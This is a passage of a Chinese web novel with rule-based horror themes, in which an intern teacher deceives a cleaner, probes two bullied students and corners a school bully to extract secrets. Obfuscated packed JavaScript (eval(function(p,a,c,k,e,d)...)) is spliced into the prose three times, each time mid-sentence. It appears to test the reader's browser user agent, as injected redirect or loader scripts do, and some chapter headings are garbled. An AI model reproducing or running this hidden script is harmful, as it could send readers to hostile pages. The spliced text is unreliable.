她气呼呼道,“破坏学校财物,让方主任知道了,你非得吃不了兜着走!” 沈笑白此时正背对着门口,她先不动声色地把日记往桌下一藏,然后才转过身。 转身的那一刻,眼眶已经泛红了。 “不好意思。”她开口时有些哽咽,“我太想我妈了,就想来看看她住过的地方,刚才一时冲动就……” 她没再说下去,垂下了眼,一副快要哭出来的样子。 保洁的下一句质问卡在了嘴边:“……你是葛大姐的女儿?” 沈笑白轻轻点了一下头,眼眶已经湿了。 “哎呀,你怎么不早说啊!”保洁的态度一下软了,“你妈走的时候你才10岁,这一晃都这么大了,我都没认出来。” 她说着说着,忽然顿了一下。 “哎,不对啊。” 保洁疑惑道,“我记得你十年前好像也来过303吧?还花钱跟学校申请住了大半年,说是想你妈了来看看,我怎么记得你那时候不长这样啊?” 沈笑白面不改色,一本正经地继续扯谎:“我妈走后,我日子就一直不好过,这几年又碰上不少糟心事,大家都说我变化大,老了很多……看来是真的了。” 她说完还轻轻吸了一下鼻子。 保洁看到对方这幅伤感的模样,觉得自己再问下去就是在揭人伤疤了,她赶紧换了个话题,缓和一下气氛:“那你这次也是想来这儿住几天?” “不是来小住的。”沈笑白道,“是最近老有人在我面前提起我妈当年的事,我心里堵得慌,想来这儿静静。” 保洁愣了一下:“提起什么?” “说她当年害死学生的那件事……都是她的错。” “胡扯!全是放屁!” 保洁的火气一下又上来了。 “什么你妈害死的?是那群学生自己嘴馋,偷偷点不干净的外卖吃,吃死了人!” “他们怕家长追究,就把脏水全泼到你妈头上,不知道从哪儿弄来一堆烂肉烂菜,藏到食堂后厨,故意带着家长去翻!” “可怜你妈嘴笨,脾气又急,被冤枉了只会跟人吵,那群家长围着她骂,推来搡去的也不知道谁动的刀,就那么一下……人就没了。” 沈笑白听到这微微一怔。 她想过这件事可能有隐情,但没想到真相是这样。更没想到,眼前这个保洁竟然知道得这么清楚,看来她和葛鸿雁的关系不一般。 这是个机会。 沈笑白垂下眼,再抬起来的时候,表情已经带上了恰到好处的痛苦和自责。 “我、我都不知道这些。”她一脸懊悔道,“我还以为真的是我妈的错……是我对不起她,我不该这么想她。” 保洁觉得这孩子也是可怜,拍了拍她的肩膀:“你也别想太多了,都这么多年了,该过去的就让它过去吧。” “嗯。”沈笑白轻声应了一声,“我知道。只是从没人跟我说过这些,我连我妈长什么样都快不记得了,你能跟我多说说她吗?” 保洁看着她那副模样,心一下就软了,一口答应下来。 她直接走进来,也不嫌脏,就在旁边落满灰的椅子上直接坐下。 “葛大姐这辈子啊,”她叹了口气,“太苦了。” “她小小年纪就被带出去干活,大冬天冻得手上全是裂口,她妈心疼得不行,想让她去上学,别遭这份罪了。可她爸不让,说一个丫头片子读什么书?钱都得留给弟弟用。” “葛大姐心里那个气啊,可她一个半大孩子,能怎么办?只能咬着牙忍。” “好不容易熬到成年了,心想总算能离开这个山沟沟了吧?结果她爸转头就把她嫁给了隔壁山头的一个老光棍,换了一大笔彩礼钱。” 保洁说到这,生气的拍了下边上的桌子:“那个男的,我一提起来就火大!真不是个东西!” “那个男的是我爸吗?”沈笑白猜测道。 “就是他。”保洁点了点头,继续说道,“你爸这个人,整天好吃懒做,啥活不干,就知道喝酒!喝完了就打人,打得你妈身上没一块好地方!” “她想离婚,他不干,还说要离婚就把她打死,你妈一个女的哪打得过他?只能忍着,一天天地在山里熬。” 沈笑白又问:“那后来呢?我妈怎么又从山里跑出来的?” 保洁看了看她,语重心长道。 “因为后来有了你。” “你妈说,她这辈子就这样了,已经完了,但她不能让你也窝在这个山沟沟里,走她的老路。” “她说,她忍了一辈子没关系,但她闺女不能忍。所以她要带你出去,去大城市读书,扎根,绝不能像她这样过一辈子。” 保洁说到这有些哽咽,同为母亲,她非常明白葛大姐的那种心情,她缓了缓情绪才继续开口: “然后你妈就偷偷带着你跑出来了,一路跑到这座城里,她也没什么本事,就会做个饭。正好这学校招厨子,她就来了。” “为了供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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六月三日:女儿的学校又来催学费了。 是学费又被丈夫抢走了,学校催了好几次,葛鸿雁再不筹到钱,女儿就要被退学了。 七月十日:今天又砸坏了一个桌子,学校说再搞坏校内资产就要我十倍赔偿。 是丈夫今天又来打她了,还打坏了一个桌子,事后学校甚至还不分青红造地要她赔偿。 日记写到后面,每一个字都写得特别用力,好几笔都重的直接划破了纸,那是她在无力的生活里唯一能使上劲的地方,也是一个母亲在被生活狠狠碾碎时,发出的无声呐喊。 保洁在边上哭了好一会儿,才反应过来自己有些失态。 葛大姐女儿还坐在这儿,人家心里肯定比自己难受百倍,自己还在人家面前哭丧似的,不是给人添堵吗? 她赶紧站起来,声音还有点哑:“行了,都说了这么久了,不能再在这儿耗着了。这屋子按规定不能进的,让方主任知道了我可吃不了兜着走。” “走吧,你跟我一块儿出去。下次要是想你妈了,就找方主任打申请,别自己撬锁了,听见没?” 沈笑白应了一声,站起来准备走。葛鸿雁的事情她已经了解得差不多了,没有继续留在这里的必要。 只是那本日记,她得带走。 “你先走,我收拾下东西马上出来。”沈笑白道。 保洁没多问,直接走到了门外,沈笑白趁机去拿刚才藏在桌子底下的日记本。 可刚拿起来,却看见本子最后几页的夹缝里露出一截书签。 她直接翻开那一页,只见书签上写着三个字: 葛鸿雁。 这三个字刚劲有力,既不像日记封面上那个隽秀端正的字,也不像日记里那些歪歪扭扭,如孩童般的字。 一本日记里,出现了三种完全不同的字迹。 不对,是四种。 因为书签夹着的这一页的日记上,出现了第四种字迹,工整又清秀。 这个字迹在最后几页日记上,密密麻麻的写满了内容。 沈笑白盯着这日记上四种截然不同的字迹,脑子里那些零散的线索忽然全部串起来了。 找到了。 如果葛鸿雁是纬主。 那这东西,就是能够击溃她的利刃。 24. 第12+12章 午休时间,整个校园都蒸腾着一股热闹的暖意。 篮球场上有人在打球,操场上有人在闲聊,食堂门口进进出出的人流就没断过,连教学楼的走廊栏杆上都趴满了凑在一起聊天吹风的人。 所有人上了一上午的课,被规矩框了一整个早上,现在终于能放松了,想怎么闹就怎么闹。 但如果你仔细看的话,就会发现一个戴着黑色项圈的女人,正在快速穿梭其间。 她比那些憋了一上午话的学生还能说,到处找人搭话。 教学楼大厅拉住一个聊几句,图书馆里拽着人又聊几句,花坛边蹲下来接着聊。短短半个多小时,大半个校园都被她聊了一遍。 现在她正站在操场上,和两个学生有说有笑着。这画面看起来温馨又和谐,但她们之间的对话内容,却诡异得可怕。 “谢谢老师鼓励!我一定努力,争取早点把自己埋进去。”其中一个学生指着操场中间那一排排石碑,满是向往地说道。 那些石碑方方正正地插在泥里,每块都刻着名字,活像一排排墓碑。 “我也是我也是!我连位置都看好了,就要那个方向。” 另一个学生跟着抢话,语气里满是羡慕,“去年考上南大的学长就埋在那儿,那块地方风水最好,谁也别跟我抢。” 两个活蹦乱跳的学生,正无比地期待着把自己埋进土里。 如果换成第一天来学校的沈笑白,听到这番话早就警觉起来了,当时她真以为那些是一排排墓碑,但现在却不以为意了,因为她刚打探清楚,那些根本不是墓碑,是荣誉碑。 石碑上刻的一个个学生的名字,都是获过奖,有过荣誉的人。 石碑下面埋着的也不是尸体,是那些学生赢回来的奖杯,奖章和荣誉证书。 每一个能埋在这里,立起一块碑的,都是这所学校引以为傲的学生。所以他们才眼巴巴地望着,盼着有朝一日自己也能有厉害的东西埋进去,也能在草坪上多出一块碑来。 沈笑白收回目光,冲两个学生笑了笑:“加油,祝你们早日入土。” 她没有再多停留,说完之后就转身离开了操场。转身的那一刻,她的笑容也跟着慢慢褪了下去。 第六个了。 这个也不是。 沈笑白从葛鸿雁的宿舍出来之后,调查就一路碰壁,没一件事顺的。 她本想去找食堂老员工再打听打听葛鸿雁,结果那些人全是新来的,没一个认识她,后厨也死活不让进。 可她就是想不通一个问题。 如果葛鸿雁真是纬主,那些围绕成绩而生的黑板规则又是从哪儿来的?葛鸿雁的人生跟成绩完全不沾边,唯一可能有关的只有她女儿,可她女儿那时候才十岁,跟这所高中根本对不上。 越想越觉得不对劲,可就是没处能下手。沈笑白只好先把这条线搁一边,转而去查警示牌规则上的另外两起死亡事件。 程赛男和金英。 她特地找了几位年迈的教职工打听,可他们知道的跟管理员说的差不多,翻来覆去就那点东西。再加上那两个学生的宿舍已经被拆了,什么痕迹都没留下,这两条线也彻底没法往下查,沈笑白只好再次搁置。 最后剩下的,就是根据黑板规则筛出来的那八个和成绩绑定很深的师生。 沈笑白满怀希望地排查了大半,可结果一个比一个让人失望,几乎每次刚聊完,她就排除了对方是纬主的可能。 因为他们身上少了最关键的东西,执念。 提起成绩的时候,他们确实有抱怨,有无奈,有不甘心。但不够,远远不够,这点情绪撑不起这么大的错纬。 说得难听点,他们太健康了,根本不是纬主该有的样子。 这一上午的四处碰壁,让沈笑白心里越来越堵。但转念一想,这八个人里还有两个没查,说不定纬主就在她们之中呢?心里这才稍微舒坦了些。 希望这两人别再让她失望了。 “周旋,吴欠……” …… 被沈笑白寄予厚望的吴欠此时打了个大喷嚏。倒不是因为什么玄学的感应,而是她在学校的观景湖里泡了半天,有些着凉了。 她已经在这里捞课本捞了半小时了,湖水没到她腰际,校服裤子都湿透了,正沉甸甸地贴在皮肤上。 不过好在课本已经捞齐了,只是书包还漂在湖中央,鼓鼓囊囊地打着转。她抱紧怀里那摞湿漉漉的课本,朝湖心蹚了过去。 刚迈出两步,身侧突然伸过来一根长长的木棍,勾住了书包带子,稳稳地往岸边拖。 吴欠愣了一下,顺着木棍的方向朝岸边看去,然后赶紧转身往回蹚。她踩着石头爬上岸,捡起已经被拖到岸边的书包,朝木棍的主人点了点头。 “谢谢老师。” “不客气。”沈笑白擦了擦刚才拿木棍的手,忽然来了句,“是章磊干的吗?” 吴欠顿了一下,随即摇了摇头:“不是,是我自己不小心把书包掉进湖里的。” 她一边说一边把课本往怀里拢,低着头,一副不想聊这个话题的样子。 “这样啊。”沈笑白没追问,反而接了句,“想想也是,章磊那孩子也就是看着凶,其实人挺善良的,平时没少帮人,扔人书包这种事他干不出来。” 章磊的品行有多差,大家都知道。沈笑白故意颠倒黑白夸他好,就是想激出吴欠的情绪。 如果她心里有有恨,有不甘,听到这种话就不可能毫无反应。只要她露出一丝破绽,沈笑白就能顺着往下挖,看她这股情绪到底有多深,足不足以撑起一个错纬空间。 可沈笑白仔仔细细地观察了半天,吴欠一点情绪波动都没有,她只是把怀里的课本拢了拢,低头地嗯了一声。 沈笑白没露声色,继续颠倒黑白: “对了,昨天在食堂,你是不是去找章磊吵架了?同学之间有什么矛盾说开就好了,章磊那么善良,你跟他道个歉,他不会和你计较的。” 明明吴欠才是受害者,沈笑白却把她说成了加害人,还让她去道歉。如此是非不分,换做任何一个人早就激动的跳出来为自己辩解了,可吴欠居然又嗯了一声,就这么把这个莫须有的罪名接了过去。 “知道了老师,我下次不会了。” 吴欠边说边往边上退了几步,满是戒备道,“老师要是没什么其他事的话,我就先走了。” 沈笑白这次是真的感到意外了,但她很快收住了惊讶的神色,眼神微微一转,又道: “行了,你快回去换衣服吧,别着凉了。” “你也是运气好,我刚才本来不往这边走的,是有个学生专门跑过来找我,说你在湖里捞东西,让我来帮帮忙,那个学生好像叫什么来着……周旋?” 吴欠准备离开的脚步一滞。 沈笑白暗自一喜,以为终于找到了撬开她的口子。可吴欠却没有顺着往下接,只是淡淡回了句: “不可能的老师,你一定是认错人了,那人不会是周旋。” 她说完便不再停留,转身小跑开了。 沈笑白本以为吴欠看起来乖巧懂事,套话应该不难。可这人偏偏密不透风,像一团棉花,你扔什么上去她都闷声收下,连个响动都没有。 这类性格的人,还真是不多见。 然而十分钟后,沈笑白就发现自己这话说早了。 当她在食堂看见章磊扬起手要扇周旋巴掌,她伸手拦下的那一刻,她才真正体会到了什么叫做生物的多样性。 因为周旋被她从巴掌底下救出来之后,第一句话不是谢谢,而是。 “多管闲事。” 正攥着章磊手腕的沈笑白:“……” 周旋冷冷的丢下这句话之后,头也不回地一瘸一拐跑出了食堂。只留下沈笑白一个人僵在原地,一只手攥着章磊的手腕,另一只手还稳稳地端着自己的餐盘。 气氛特别尴尬。 餐盘里的肉特别香。 铭记此餐。 “吃瘪了吧?” 章磊一把甩开对方的手,“在这装什么滥好人?你不就是想要她那点满意值吗?省省吧。这人就是个怪物,你帮了也不会领情的。” “不信你就接着去,看她会不会把满意值给你。” 今天一而再再而三地碰壁,反倒激出了沈笑白的逆反心理,她还真就不信这个邪了。 于是当周旋在医务室包扎腿上的伤口的时候,沈笑白再次适时出现,贴心地递了一卷绷带上去。 “用这个吧,”沈笑白和煦一笑,“这个透气,对伤口好。” 一个人就算再冷再硬,面对反复递过来的善意,也总有软下来的时候。一次不行就两次,两次不行就三次,再厚的壳也架不住天天敲,总有撬开口子的那一天。 沈笑白这样想。 【收到1位学生的打分】 【周旋满意度评分:-10】 【您的当前满意值:-1260】 “假好心。”周旋打完了自己所有的满意值,再次头也不回地跑开了。 独自举着绷带,且笑容开裂的沈笑白:“……” 她收回前言,感觉那一天应该是等不到了。 如果说吴欠是一团闷声不响的棉花,那周旋就是一只浑身竖刺的刺猬。一个把所有委屈都咽进肚子里,一个把所有的善意都挡了回去,你根本走不进她们的世界。 但沈笑白不可能就这样放弃,找纬主事关自己的生死,正面接近不了,就从侧面打听。 接下来的时间,她满校园地跑,四处找认识这两个人的师生,想从别人嘴里拼凑出她们的事情。 可问了一圈竟没人说得清,大家知道的信息跟她从档案室看到的差不多,翻来覆去就那么几句话。 想想也是。 章磊这个校霸整天找她们俩的麻烦,谁敢靠近她们?靠近她们就是在直接挑衅章磊,以他那个恶劣的性子,肯定是会直接一起欺负。 等等…… 章磊。 别人不知道周旋和吴欠的事,但章磊一定知道。 这两个人被章磊欺负成这样,却从来不反抗,连躲都不怎么躲。章磊手里要是没握着点东西,不可能做到这一步,他一定知道她们的软肋在哪儿,知道一些别人不知道的秘密。 一定要从他嘴里,把周旋和吴欠的事情套出来。 …… 下午一点,全校考试时间。 今天没有学生再被关在门外不让进考场了,所有学生都在教室里坐着。 因为没有这个必要了。 沈笑白昨天已经套出了考场守则的第二条:学生禁止放弃最后一道大题,至少要写个解字。 所以今天,在七班学生来之前,她提前把每张卷子的最后一道大题都写上了解字,然后全部撕下来藏好,等考试结束时再把最后一题还给学生。 那些学生的命脉被沈笑白攥在手里,自然不敢偷偷作弊去害她。 毕竟对方是个疯子,如果真的因为违规被学习委员抓走,临死前也一定会拼死带走所有人的最后一道大题,拉着整个七班一起陪葬。 可即便如此,七班的教室里也有人敢不怕死地叫嚣。 “凭什么给他们答案不给我?” 章磊站在讲台下,对着沈笑白怒吼道,“他们昨天不也跟着一起害你了吗?凭什么现在就只针对我一个人!” 刚才考试一开始,沈笑白就把考卷上文科相关的题目答案全解了出来,说要免费告诉大家,让大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他硬生生把这口气咽了回去,认栽了,准备先回座位写卷子。 可他不知道的是,沈笑白一直在等他这个状态出现。 “章磊。” 沈笑白叫住了他。 “试卷答案我可以给你,但我有个条件。” 章磊脚步一顿:“……什么条件?” “把你知道的周旋和吴欠的事告诉我。”沈笑白终于抛出了真正的目的,“只要你说,我不光把答案给你,还能让你考到全班第一。” 这么诱人的条件,章磊几乎是立刻心动了。 但他转念一想,沈笑白这么狡猾,万一答案里藏着坑呢?况且他昨晚通宵看了题,今天不可能考零分。没答案无非就是比别人差一点,但只要有进步,妈妈就不会气到要销毁他的地步。 没必要为了考第一去冒被阴的风险,更没必要让沈笑白如愿。 “做梦。” “你想知道?我就偏不告诉你!” 章磊一副不为利诱的样子,雄赳赳气昂昂地回座位写起了卷子。 沈笑白看起来倒没什么失望的样子。她本来就没指望章磊能一口答应,刚才那一下不过是顺手试试,答应了最好,不答应也无所谓。 她真正布的局在家长会上。 到时候成绩一出,章磊和其他人的差距摆在那里,不用她开口,章磊妈妈自己就会急的问原因。 到时候她再添油加醋,把问题归结到章磊白天欺负周旋和吴欠这件事上,说他整天忙着欺负人,耽误了上课,影响了学习,再顺手给他扣几顶莫须有的帽子。到时候章磊为了自证清白,不把他和周旋和吴欠的事说清楚都不行。 沈笑白的这个计划称得上滴水不漏,天衣无缝。 可惜谋事在人,成事却在天。 到了晚上,七班的家长会竟然直接取消了。理由是大部分家长因身体不适请了假,学校干脆就直接取消了今天的家长会。 沈笑白听到这消息的时候眉头紧皱。是自己昨天在饮料里下的明矾浓度太高了?高到家长们直接卧床不起了? 此刻她的计划全被打乱了,心情差到了极点。 和她截然不同的是,七班学生们的心情现在好得不得了。听说晚上的家长会取消了,不用再面对那些家长的质问,一个个都开心得当场欢呼起来。 尤其是章磊。 他担心了一整个下午,担心到了家长会上自己和其他人的成绩差距太大,会被妈妈当众责罚。 结果家长会直接取消了,他整个人都松了一口气,虽然一想到下午班里那些人为换答案出卖自己的事,还是有点来气,不过今晚他心情好,懒得计较。 他吃完晚饭就开开心心地回了宿舍,直接躺倒在床上,枕着胳膊,翘着腿,玩了好一会儿手机。 刷视频,看帖子,他渐渐有些无聊了,想找点新乐子玩玩。 “哎。”他踢了踢上面的床板,“今天晚上来查寝的,轮到几班的实习老师?” 上铺的学生探出头来:“昨天一班,今天应该是二班吧。” “不是二班。”对面床铺的学生插话道,“二班到四班的老师这两天全死了,今天来的是五班的实习老师,好像叫什么纪燃。” “纪燃??” 章磊听到这个名字直接坐了起来。 他没记错的话,纪燃是沈笑白的朋友,两个人关系很好。沈笑白那只老狐狸他对付不了,但她朋友还对付不了吗? 他开始在脑子里盘算起来,等会儿要怎么用查寝规则整死那个纪燃。 一招,两招,三招,招数越想越多,整个人也越来越兴奋。他甚至已经想到了明天早上的画面,沈笑白看到自己好朋友的尸体,会是什么表情?那一定精彩极了! 时间一分一秒地接近查寝时间,章磊再在床上翻来覆去,根本躺不住。 到了晚上十点整,他整个人从床上弹了起来。 “来了来了,终于来了!” 确实来了。 但走进学生宿舍的那个人不是他期待的纪燃。 是沈笑白。 25. 第|Z25Z|章 一共十天的实习期,今天已经是第三天了。 沈笑白要在剩下的七天里找到纬主,找到它的弱点,然后一击致命。 时间不等人,今晚她必须从章磊嘴里撬出吴欠和周璇的事,为此她特地找纪燃换了查寝的顺序。 临出发前,纪燃在门口叫住了她,递过来一把宰杀刀。 那刀是他白天靠着自己那张脸,哄得食堂阿姨放他进后厨偷偷顺出来的。 这刀平时专门用来宰杀鲜活的鸡鸭鱼肉,杀过生,见过命,刀身早被血沁出暗沉的赭红色,通体透着一股凶悍的煞气。 在无法使用高科技来杀鬼怪的错纬里,只能用这种古老的法子,来以煞制煞。 “零点前一定得回宿舍。”纪燃少见地郑重其事道,“过了零点,这学校至少有三个鬼怪在外面游荡。” “你怎么知道是三个?”沈笑白敏锐地接住了这句话。 她还没把白天调查到的事同步给纪燃,他不应该知道学校里曾经死过三个人。 “解悠悠说的。”纪燃道,“她住三楼,她说每天晚上都有东西在撞303的门,一撞就是大半个晚上。” “起初她以为每个楼层都是这样的,但今天我跟她聊起来才发现,那东西只撞303的门,而且每晚都来。” 303宿舍。 是葛鸿雁的房间。 沈笑白眉头微蹙,思索片刻,应了声知道了,接过宰杀刀便转身出了教工宿舍。 夜风裹着凉意扑面而来,钻进领口,带着初春夜里特有的清寒。 学生宿舍和教工宿舍离得并不远,是并排建造的,一左一右。沈笑白出了门右转,没走两步就到了。 她裹着这身凉意,推开了学生宿舍的大门。 这里的大厅布局和教工宿舍差不多。空旷的厅堂,靠墙摆着一张长桌,头顶的日灯光惨白,照得地面泛着冷光。 但有两个地方不一样。 一个是门边的墙壁上多了一个窗口,上方钉着一块褪色的牌子,写着宿管处。窗口里面黑洞洞的,看不清有没有人坐在里头。 另一个是墙上立着块熟悉的大黑板,上面依然是熟悉的粉笔字迹。 查寝守则一: 老师须在23:30前将查寝表交至宿管处,表格须填写完整,不得留有空缺。 而下面本该写着守则二的位置,那里的粉笔字被擦得很干净,只剩一片浅浅的白色痕迹。 沈笑白看着那团模糊的痕迹,扯了下嘴角。 果然是离开了家长在的地方,这群小鬼就开始作妖了。 沈笑白对此丝毫没有意外。她的目光从黑板上移开,落在长桌上那一沓厚厚的查寝表上。 【查寝登记表】 学生01号:吴欠 是否到寝:____ 学生签名:____(禁止使用暴力) 学生02号:王丽 是否到寝:____ 学生签名:____(禁止使用暴力) …… 学生1000号:孙思 是否到寝:____ 学生签名:____(禁止使用暴力) 全校一共一千个学生,全部在这张表格上了。 查寝规则的意思很清楚,老师要在23:30之前,到每一间宿舍挨个确认这些学生都在,然后让他们在表格上签字,而且不能用暴力。 沈笑白看了眼墙上挂着的时钟,现在是十点整,距离十一点半,还有一个半小时。 一个半小时的时间,她要找一千个学生签字,那么平均每个学生身上,她能耗费的时间不能超过五秒。 五秒?学生连自己的名字都写不完。 更不用说这些学生本来就不是善茬,他们会故意闹事,故意躲着你不给你签字。真要老老实实一个一个签下来,少说也要三四个小时。 时间根本不够用。 沈笑白眉头微微蹙起,她捏着那张表格,陷入了沉思。 之前一直从大门处灌进来的夜风,在这时也渐渐慢了下来,像是随着她的思绪一起沉了下去。 然而楼层越高,风就越野。 低处的风静了,高处却依旧喧嚣。 高处的夜风正呼呼地顺着窗缝往里灌,径直灌进了609宿舍,却压根儿没影响里头那团躁动的火。 章磊正兴奋地在宿舍里来回踱步,满脑子都是一会该如何磨刀霍霍向纪燃的念头。 “一会儿纪燃来了,都看我手势行动。” 他对着屋里另外三个室友说道,“我拍桌子就是信号,大家一起上,给我好好招待他,一定拖到他超时违规为止。” “好嘞章哥!”三个室友齐声应下。 学生宿舍是混宿的,这三人都不是章磊的同班同学,但章磊校霸的名声摆在那儿,没人敢不听他的。 章磊直接把宿舍门大敞着,大剌剌地坐在自己下铺床上,翘起腿,脚一颠一颠地晃着,兴奋地朝门外看。 他等着看纪燃一会儿进来找他们签字,等着看这个沈笑白的好友一会怎么被自己玩死。 十点十分。 章磊从坐着变成了站着,换了个姿势,继续等。 十点三十分。 章磊走到门口,朝走廊里探了探头,走廊空空荡荡,一个鬼影都没有。他疑惑地挠了挠后脑勺,转身回去继续等。 十点五十分。 章磊开始在宿舍里来回踱步,边走边碎碎念,怎么还不来怎么还不来。 十一点整。 警示牌规定十一点后不许开灯,整栋宿舍准时熄了灯。章磊烦躁地打开手机手电筒来回乱晃,惨白的光束晃得另外三个人眼都快瞎了。 十一点十五分。 章磊彻底绷不住了,他往边上的桌子上猛地一拍,吓得宿舍里其他三人直接瑟缩了一下。 “这都快十一点半了人怎么还不来?”他怒吼道,“他是不怕超时违规吗?!” 烦躁在章磊的脑子里搅了一会,搅出一个新念头:“他该不会也学沈笑白直接请假不来了吧?” “不可能!”上铺的人斩钉截铁地说,“章哥你放心,查寝不允许请假,每晚必须有老师来签字。” “他人肯定来了,可能是怕咱们,躲在哪里不敢过来。” 章磊直接哼笑了一声,那股烦躁散了大半,取而代之的是一股轻蔑:“没看出来啊,这个纪燃看着人高马大的,原来是个大怂包!” “他那是轴,不是怂。” 一个女人的声音突然声音从门口飘进来。 “你连这两个字的意思都分不清,难怪天天考零分。” 章磊闻声直接僵在了原地,他难以置信地回头看了看身后。 只见沈笑白正靠在门框上,弯着眼睛看他。 “怎么又是你??”章磊惊呼出声,整个人都绷紧了起来。 沈笑白看着对方,似笑非笑道:“今晚家长会取消了,我心里空落落的,总觉得少了点什么。” “后来一想——哦,原来是今天还没收拾你。所以专程和人换了班来找你。” “你有完没完啊?!”章磊气冲冲道,“下午搞我一次还不够,现在居然还专程跑到宿舍来找我麻烦!” 章磊气不过似的朝桌上狠狠拍了一掌。这一拍,给寝室里其他三人拍得一个激灵。 信号。 这就是校霸给的信号。 “上啊!兄弟们一起上!章哥说了今天一定要玩死这个纪燃!” “上,往死里搞!” “我去把门堵上!” 三个人嗷嗷叫着就往沈笑白的方向冲,其中一个还顺手抄起了桌上的搪瓷杯,气势汹汹地扑向门口。 这一幕给章磊看的是头皮发麻,魂飞魄散,整个人直接当机了。 这帮憨批是要把他往火坑里推啊! 他猛地回过神来,眼疾手快,一巴掌拍在领头那人的后脑勺上。 “冲什么冲?你们瞎啊?是男是女都分不清??” 章磊气得一时不知道该先骂谁,“纪燃是男的男的!门口那个是男的吗?你们自己看看!那是男的吗?!” 三人顿时刹住了脚,在黑暗中一脸委屈,面面相觑。 尤其是挨打的哪个,捂着后脑勺,委屈得不行:“我们又没见过纪燃……是你自己说的,人来了你一拍桌子我们就上啊,怎么还怪起我了……” 章磊现在没功夫给他们解释门口的是谁。他现在只想干一件事,把门口那尊大佛赶紧送走,越快越好。 之前他准备的那十几招整人的法子,对付纪燃绰绰有余,可对付沈笑白? 章磊光是想想就觉得,自己的坟头草到时候都得长三米高。 他惹不起,总躲得起吧? “查寝表呢?”章磊朝沈笑白伸出手,强装镇定,“抓紧给我,签完字你就赶紧……” 滚。这个字在他的舌尖上打了个转,到底还是咽了回去。 “……签完你就赶紧走,我们还赶着睡觉。” 沈笑白却不紧不慢道:“还得老师给你亲自送过去?你是老师我是老师?自己过来签。” 章磊闻言僵了一瞬,迟迟没有动作。 他根本不敢过去。 因为被他们擦掉的查寝守则二的内容是:学生必须在23:30前躺回自己的床位上。 如果现在是别的老师来查寝,他还能游刃有余地走过去,拖到23:20多,然后再不紧不慢地躺上床。 但对方是沈笑白。他不敢冒险离开自己的床位太远,更不想让对方猜到守则二的内容。 “我脚刚才崴了,动不了。”他说,“你进来签。” “脚崴了?”沈笑白盯着他的脚,眼睛微微眯了一下。 只是被那双眼睛看了一眼而已,章磊却觉得自己所有的心思在那道目光底下都无所遁形,好像对方已经猜到了他的学生守则是什么。 他没猜错。 沈笑白确实猜到了个大概。 她今晚本来就是故意拖到快十一点半才来的。在来之前,她在走廊的尽头站了很久,观察了很久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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章磊死死盯着沈笑白,等着看她变脸,结果等来的却是一声嗤笑。 “查寝表?”沈笑白不以为意,“我早就交到宿管处了。” 章磊闻言一怔。 “不可能。”他脱口而出,“你根本没来过我们寝室,那表格必须填满所有学生签名才能上交,差一个都不行。” 沈笑白似笑非笑:“规则只说了查寝表不能有空白,但没说上面的内容一定要学生亲笔签。” “学生身体不适,卧床不起。” “老师深感担忧,只能帮忙代签,有什么问题吗?” 章磊猝不及防,低声骂了句脏话,差点忘了眼前这人有多会钻规则漏洞。现在的沈笑白已经完成了查寝任务,老师守则对她来说已经形同虚设。 只有章磊一个人还被规则束缚着。 学生守则要求他在23:30之前必须躺回自己的床位,可他现在连宿舍门都进不去。 时间一到,违规的是他,死的也是他。沈笑白不会有任何事,她可以站在这里,看戏一样看着他怎么死。 章磊低头看了一眼紧攥着的手机,屏幕亮起。 23:26。 只剩4分钟了。 来不及了。 他要违规了。 章磊彻底慌了,他的心跳逐渐开始加速,跳得整个胸腔都在震,全身也开始不由自主的发麻、发软。 不行。 不行不行不行。 想办法,快想办法。 “我不能死……不能死……我还不想死。”他整个身子都止不住地颤抖,头不停地摇着,嘴里反复念叨着这几句话。 “谁说要让你死了?” 沈笑白的声音突然从身侧响起。 “那、那你抓我出来干什么?” 章磊愣了一瞬,白天发生的一件事骤然劈进脑海,劈得他整个人一激灵。 “你想知道吴欠和周旋的事对不对?!” 章磊像抓住了最后的救命稻草一般,迫不及待道,“我知道!她们俩的事我全都知道!但你得先让我进去,进去我就都告诉你!” “不行。”沈笑白寸步不让,“就在这儿说,说完了我再放你进去。” 章磊心急如焚,低头扫了一眼手机屏幕。 23:28。 只剩2分钟了。 “你没时间跟我讨价还价了。”沈笑白步步紧逼,“现在开始,我问什么你答什么。” “白天为什么把吴欠的书包扔湖里?你跟她到底有什么仇什么怨?” 章磊愣了一下,随即直接跳脚:“谁丢她书包了?我哪有那么幼稚??” “那是周旋干的!跟我有什么关系!” 这第一个回答就让沈笑白始料未及。她狐疑地审视着对方,像是在判断他是不是在甩锅。 “你那是什么眼神!” 章磊急得脸色都涨红了,“我说的是真的!这两人以前关系确实是好,好得穿同一条裤子。但自从初中考进同一个班,她俩为了争第一,争助学金和保送名额,就彻底闹翻了!” 沈笑白敏锐地抓住了关键:“她们为什么非要争第一?” “还能是为什么?被逼的啊!” 章磊语速飞快,“她们如果不考第一,一个活不了,一个回不去!” 26. 第tr(5,0;0,21)章^…… 23点29分27秒。 章磊扫了一眼手机上的时间,后面的话就顾不上继续说了,他脑子里现在只有一个声音在尖叫:要超时了要超时了。 “来不及了!这么点时间根本说不完!你先开门,进去我再跟你细说!”他边说边朝沈笑白口袋扑过去,想伸手去抢钥匙,却被对方侧身一避,直接抓了个空。 章磊稳住身子,急得声音都变了调:“你什么意思?你不想知道她们俩的事了吗!” 沈笑白没有说话,不置可否。 黑暗中只有手机屏幕发出微弱的光,从下方映亮她的半张脸,看不清她此刻的表情。 章磊急得后背直冒冷汗:“进去之后你想知道什么我都告诉你,我死了对你没好处,只有我活着,你才能拿到她们的全部事情!” 沈笑白依旧没有说话。 章磊急的快发疯了,他开始怒吼:“全校除了我不可能有第二个人知道!我打过招呼了没人敢接近她们,你想知道周旋和吴欠的事,就不能让我死!” 沉默。 还是沉默。 章磊把能说的话全说了,可沈笑白连个反应都没有。他不知道还能怎么办,他本能地低头看了一眼时间,只剩10秒了。 